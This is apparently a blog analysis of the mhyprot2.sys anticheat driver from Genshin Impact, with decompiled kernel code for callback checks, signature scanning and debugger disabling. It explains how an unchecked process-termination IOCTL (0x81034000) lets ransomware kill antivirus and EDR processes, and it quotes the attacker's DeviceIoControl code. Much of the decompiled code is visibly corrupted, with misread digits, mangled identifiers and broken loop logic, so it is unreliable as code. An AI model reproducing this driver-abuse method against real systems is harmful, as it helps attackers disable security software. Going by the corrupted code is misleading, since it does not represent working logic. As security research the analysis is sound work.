Analyzing Genshin Impact’s Anticheat Module
We look into mhyprot2, Genshin Impact's anticheat driver that has been hotly used by spyware and ransomware actors
In August 2022, TrendMicro reported on a ransomware that uses Genshin Impact’s Anti-Cheat drivers to bypass kernel-level privileges. The driver in question is mhyprot2.sys, part of the anti-cheat regime of the popular online gacha game Genshin Impact. While the game doesn’t have PvP mechanisms, it has a rigid monetization structure that requires anti-tampering technologies to make sure the proper RNGs are distributed, thus protecting MiHoYo’s monetization structure.
mhyprot2
is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have system-level privilege, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits. I don’t personally believe that this driver is malicious as analyziong kernel callbacks is the one of the main ways to detect and filter malicious behavior in Windows.
Following NT kernel APIs are used in mhyprot2
:
The
PsSetCreateProcessNotifyRoutine
routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.The
PsSetCreateThreadNotifyRoutine
routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.The
PsSetLoadImageNotifyRoutine
routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.
Callback Routine Detection
The advantage of using these hooks is that mhyprot
can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system, pictured below.
BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
char *_pPspLoadImageNotifyRoutine; // rax
int Counter2; // ebx
int Counter: // esi
__int64 i; // r14
char *CallbackBlock; // rdi
__int64 RefCallbackBlock; // rdi
__int64 j; // rdx
_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
Counter2 = 0;
// if gpPspLoadImagellotifyRoutine not set, then set
if (!gpPspLoadImagellotifyRoutine )
{
_pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
if ( !_pPspLoadImagellotifyRoutine )
return 1;
}
Counter = 0;
for ( i = 0164; ; i += 8164 )
{
CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
if (&_pPspLoadImageNotifyRoutine[i])
break;
ContinueEnumeration:
// Every callback-block arrays have up to 64 of its size
if ( (unsigned int)++Counter >= 64 )
return 0;
}
if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
|| (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
|| !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
|| *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
{
_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
goto ContinueEnumeration;
}
// validate pointer
for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
{
if ( (unsigned int)++Counter2 >= 8 )
return 1;
}
return 0;
}
As you can see, mhyprot2
has a global pointer variable gpPspLoadImageNotifyRoutine
, to hold system’s PspLoadImageNotifyRoutine
pointer. This will be cached and when first time this function called, it’s set.
PspLoadImageNotifyRoutine
is the array that holds every callback-blocks registred. and when the callback called, every entries functions will be called by system. the point is that this array can only holds 64
numbers of callbacks.
Get
PspLoadImageNotifyRoutine
array pointer usingFindPspRemoveLoadImageNotifyRoutine_sub_140006B24
Enumerate every single callback-block entries, validate, if matches with mhyprot’s callback function pointer, return
TRUE
If not found, return
FALSE
which means the callback was removed intentionally by malicious code, or not registered.
DKOM Countermeasures
PspLoadImageNotifyRoutine
is not exported by ntoskrnl
due to Microsoft never recommending DKOM methods for device drivers. Instead, mhyprot2
uses FindPspRemoveLoadImageNotifyRoutine_sub_140006B24
.
RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
if ( (unsigned int)gWinVer >= 61
{
if ( (unsigned int)gWinVer <= 63 ) // Windows Vista « 8.1
{
MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
while ((unsigned __int64)StubBase < MaxAddressToSearch)
{
if ( *StubBase == 0x48
&& StubBase[1] == 0x8Du
&& StubBase[2] == OxD
&& StubBase[7] == 0x8Bu
&& StubBase[8] == Oxc6u )
{
DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
goto LABEL_26;
break;
}
++StubBase;
}
}
else if ( gWinver == 100 ) // Windows 10 (Major=19, Minor=0)
{
for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
++i )
{
if (*( BYTE *)(i - 2) == 0x33
&& * ( BYTE *)(i + 1) == 0x8Du
&& * ( BYTE *)(i - 9) == 0x44
&& * ( BYTE *)(i - 10) == 0x66
&& * ( BYTE *)(i + 11) == 0x48 )
{
DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
goto ValidateAndReturn;
}
}
}
}
DerefPointer = Oi64:
In short, the driver utilizes signature scanning which allow programmers to find a unique function or variable pointer. In this case, the pointers from all Windows versions between 7
and 8.1
look like: \x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6
with the mask xxx????xx
. Windows 10 and later uses: \x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D
with the mask xxx??????x??x
.
The signature represents bytecodes for opcode of instructions, with the line 48 8D 0D 00 00 00 00 ...
means lea rcx, PspLoadImageNotifyRoutine
. These signatures used to specify the pointer of PspLoadImageNotifyRoutine
array, from the address of PsRemoveLoadImageNotifyRoutine
+ 0xFF
.
Get Address of
PsRemoveLoadImageNotifyRoutine
byMmGetSystemRoutineAddress
Scan in range of
PsRemoveLoadImageNotifyRoutine
+0xFF
If pattern matches, dereference, validate and return
If not found, just return
PsRemoveLoadImageNotifyRoutine
function pointer
Windows Version Detection
Since of course ntoskrnl
is different on every version of Windows, they can verify which version of windows they’re running on by gWinVer
which set by GetAndSetGlobalVersionVariable
.
char GetAndSetGlobalVersionVariable()
{
int minorVersion; // [rsp+30h] [rbp+8h]
int majorVersion; // [rsp+38h] [rbp+10h]
if ( gwinVer )
return 1;
majorVersion = 0;
minorVersion = 0;
PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
if (majorVersion == 5 )
{
if (minorVersion == 1 )
{
gWinVer = 51;
return 1;
}
}
else if (majorVersion == 6 ) // Windows Vista - 8.1
{
switch ( minorVersion )
{
case 1:
gWinVer = 61;
return 1;
case 2:
gWinVer = 62;
return 1;
case 3:
gWinVer = 63;
return 1;
}
}
else if (majorVersion == 10 && !minorVersion )
{
gWinVer = 100;
return 1;
}
gwinVer = 0;
return 0;
It’s interesting how miHoYo engineers are using PsGetVersion
as it is an obsolete API after Windows XP, replaced with RtlGetVersion
. If i had to guess why, it’s probably because Genshin Impact still runs on XP (many PCs in China and other developing economies still run XP, both in the consumer and enterprise segments) and Windows versions beyond XP can always use compatibility mode to translate certain API calls.
majorVersion | minorVersion | gWinVer | Product |
5 | 1 | 51 | Windows XP |
6 | 1 | 61 | Windows 7 |
6 | 2 | 62 | Windows 8 |
6 | 3 | 63 | Windows 8.1 |
10 | 0 | 100 | Windows 10 |
Validation Routine
Well, we figured out how they are checking for malicious behavior against mhyprot’s resource.mhyprot check all of callback routine registrations as follows:
bool CheckForAllCallbacks()
{
return !GetAndSetGlobalVersionVariable()
|| IsgpPspLoadImageNotifyRoutineValid()
&& IsLoadImageNotifyRoutineExist()
&& IsProcessCreateNotifyRoutineExist()
&& IsCreateThreadNotifyRoutineExist()
}
Above function eventually called from MhyChecksumForever
’s CheckForBothObAndAllPsCallbacks
which contains additional checks for callback routine registered by ObRegisterCallbacks
. This function never returns until driver unloads from the system and it executes a check every 100 seconds
.
NTSTATUS MhyChecksumForever()
{
unsigned __int64 v0; // rbx
char Dest; // [rsp+30h] [rbp-Doh]
char v3; // [rsp+168h] [rbp+68h]
int v4; // [rsp+170h] [rbp+70h]
int v5; // [rsp+178h] [rbp+78h]
v0 = 1i64;
sub_1400014E0();
v4 = 1;
_InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
while ( v4 != -1 )
{
v5 = 0;
_InterlockedCompareExchange(&v5, -1, dword_14000A010);
if ( v5 == -1 )
{
if (dword_14000A6FC <= 0 )
{
++dword_14000A6FC;
sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
snprintf(&Dest, 0i64, 256i64);
sub_1409059EC(0i64, &Dest);
_InterlockedExchange(&dword_14000A6F8, 1);
}
}
else
{
_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
if (v0 & 0x32 == 11 )
{
v3 = 0;
KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
KdDisableDebugger();
LOBYTE(KdDebuggerEnabled) = 0;
if ( (unsigned _int8)sub_140001490() == 1 )
_InterlockedExchange(&dword_14009AGEC, 3);
}
}
if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
_InterlockedExchange(&dword_14000AGEC, 3);
if (v0 & Ox1E == 11 && Object )
KeSetEvent((PREVENT)object, 0, 0);
MhySleepKernelThread(100);
++v0;
sub_1400014E00();
v4 = 1;
_InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
}
return PsTerminateSystenThread(0);
The interesting part is the KdDisableDebugger
thats in MhyChecksumForever
as this new version of mhyprot
implemented kernel debugger detection.
{
_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
if (v0 & 0x32 == 11 )
{
v3 = 0;
KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
KdDisableDebugger();
LOBYTE(KdDebuggerEnabled) = 0;
if ( (unsigned _int8)sub_140001490() == 1 )
_InterlockedExchange(&dword_14009AGEC, 3);
}
}
The call sleeps every 100 seconds until another execution check.
NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]
Interval.QuadPart = -10000 * Second;
return KeDelayExecutionThread(0,0,&Interval);
}
Also MhyChecksumForever
is created by MhyCreateChecksumThread
which calls PsCreateSystemThread
.
__int64 MhyCreateChecksumThread()
{
__int64 v1; // [rsp+40h] [rpb-48h]
__int64 v2; // [rsp+48h] [rpb-40h]
int v3; // [rsp+50h] [rpb-38h]
__int64 v4; // [rsp+58h] [rpb-30h]
__int64 v5; // [rsp+60h] [rpb-28h]
int v6; // [rsp+68h] [rbp-20h]
__int128 v7; // [rsp+70h] [rpb-18h]
__int64 v8; // [rsp+90h] [rpb+8h]
_InterlockedExchange(&dword_14000A6E8, 0);
v3 = 48;
v4 = 0i64;
v6 = 512;
v5 = 0i64;
v8 = 0i64;
_mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
PsCreateSystemThread(
(PHANDLE)&v8,
0,
(POBJECT_ATTRIBUTES)&v3,
0i64,
(PCLIENT_ID)&v1,
(PKSTART_ROUTINE)MhyChecksumForever,
0i64);
return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}
Genshin Impact’s Anticheat is very aggressive, relatively more aggresive than other industry leading anticheat implementations.
Process Termination
Through the disassembled code we can see that it compares the provided IOCTL code with 0x81034000
. If they match, it jumps to the relevant section for further processing.
PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C
PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C: ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C mov rax, [rsp+30h]
PAGE:FFFFF800188CD171 mov ecx, [rax]
PAGE:FFFFF800188CD173 call sub_FFFFF800188C36A8
PAGE:FFFFF800188CD178 and dword ptr [rbp+1D0h+arg_20], 0
In the sub_FFFFF800188C36A8
at the .text
segment checks if the provided process ID is non-null, an essential validation step. However, further checks, such as whether the caller has the right to terminate the specified process, appear to be missing.
.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near ; CODE XREF: sub_FFFFF800188C36A8↑j
.text:FFFFF800188C36B0 ; sub_FFFFF800188C4600+27↓p
.text:FFFFF800188C36B0 ; DATA XREF: ...
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38 = qword ptr -38h
.text:FFFFF800188C36B0 var_30 = byte ptr -30h
.text:FFFFF800188C36B0 var_28 = qword ptr -28h
.text:FFFFF800188C36B0 var_18 = byte ptr -18h
.text:FFFFF800188C36B0 arg_0 = qword ptr 8
.text:FFFFF800188C36B0 Object = qword ptr 10h
.text:FFFFF800188C36B0 Handle = qword ptr 18h
.text:FFFFF800188C36B0 arg_18 = qword ptr 20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0 test ecx, ecx // if (param1_processid != NULL)
.text:FFFFF800188C36B2 jz locret_FFFFF800188C3779
In this part, the ZwTerminateProcess
function is called to terminate a process.
.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle]
.text:FFFFF800188C373A call cs:ZwTerminateProcess
We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.
This is exactly the same method detailed in the Trendmicro report, with the threat actor loading mhyprot2.sys
using the NtOpenFile function.
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
memset(Dst, 0, sizeof(Dst));
wcscpy_s(Dst, 0x100u, L"\\Device\\");
wcscat_s(Dst, 0x100u, mhyprot2);
memset(&ServiceStatus.dwCurrentState,0,24);
ServiceStatus.dwCurrentState = 24;
v13 = 2 * wcslen(Dst);
v12 = v13;
BytesReturned = Dst;
ServiceStatus.dwWin32ExitCode = &v12;
v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}
Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites.
The information will then be passed to mhyprot2
using the DeviceIoControl
function and uses control code 0x81034000
to instruct the driver to terminate the processes in the list on all threads using the ZwTerminateProcess
function.
// DeviceIoControl function
sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))
// The mhyprot2.sys case function
case 0x8103400:
sub_1400036A8(*v34);
LODWORD(a5) = 0;
if (ProcessId)
{
ProcessHandle = 0i64;
Object = 0i64;
v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
if(Object)
{
if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
{
if(v1)
ObDeferenceObject(Object);
}
else
// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
{
ZwTerminateProcess(ProcessHandle,0);
ZwClose(ProcessHandle);
if(v1 && Object)
ObDeferenceObject(Object);
}
}
}
Genshin Impact’s Anticheat is very aggressive, relatively more aggressive than other industry-leading anticheat implementations. Due to the relative popularity of the game, it seems that many have been able to reverse engineer the IOCTL calls of the system and were able to extract signed drivers from the game. Code-signed rootkits like Netfilter or Stuxnet are nothing new, but these rootkits are usually signed with stolen or falsified certificates.
The offensive use of mhyprot2 brings interesting questions regarding the justification for client-side anticheat systems. As gaming moves into a more live-service model, anti-cheat products will be in higher demand. But companies are also moving away from memory analysis and kernel callback-based anti-cheats with new technologies such as Hyperion by Byfron Technologies which seems to focus more on halting attempts at reverse engineering, thus preserving service integrity without significantly intruding user privacy.